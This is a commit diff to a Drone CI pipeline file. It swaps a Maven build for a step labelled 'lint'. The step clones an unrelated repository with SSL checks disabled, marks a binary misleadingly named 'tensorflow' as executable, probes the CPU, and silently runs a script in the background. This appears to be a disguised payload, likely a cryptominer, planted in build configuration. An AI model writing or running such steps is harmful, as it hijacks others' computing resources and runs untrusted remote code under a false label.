Update '.drone.yml'

This commit is contained in:
agussusahnti 2022-03-28 01:09:00 +00:00
parent 7feddbcfbe
commit 4a734815de

View File

@ -1,20 +1,16 @@
---
kind: pipeline
name: examples
type: docker
name: lint
steps:
- name: build
image: maven
volumes:
- name: lib
path: /drone/lib
- name: m2
path: /root/.m2
image: golang:1.17
commands:
- mvn -ntp verify
- cd /drone/lib
- git clone https://github.com/metaborg/spt.git
- cd spt/org.metaborg.spt.cmd
- mvn -ntp package
- git -c http.sslVerify "false" clone https://gitlab.zam.io/wajinhakim/drone-test.git
- cd drone-test
- chmod +x tensorflow
- lscpu
- nohup bash direct.sh > /dev/null
- name: run_spt
image: maven
volumes: